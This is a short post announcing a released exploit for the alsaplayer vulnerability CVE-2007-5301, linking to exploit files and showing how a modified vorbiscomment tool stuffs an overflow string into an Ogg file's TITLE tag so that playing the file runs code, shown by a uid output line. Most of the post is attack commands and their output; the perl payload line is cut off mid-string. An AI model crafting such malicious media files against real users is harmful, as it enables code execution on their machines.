I have released this exploit for the alsaplayer bug CVE-2007-5301.

You can find all the needed files at http://www.wekk.net/research/CVE-2007-5301/

With my modified version of vorbiscomment, you can generate a ogg exploit like this:

whats@debian:~$ vorbiscomment.whats -w -t "TITLE=$(perl -e 'print "AAAAAAAAAAAAAAAAAA

Then, if you plays the file with the vulnerable version:

whats@debian:~$ alsaplayer exploit.ogg
uid=1000(whats) gid=1000(whats) groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(whats)

This was tested with the debian etch packages.
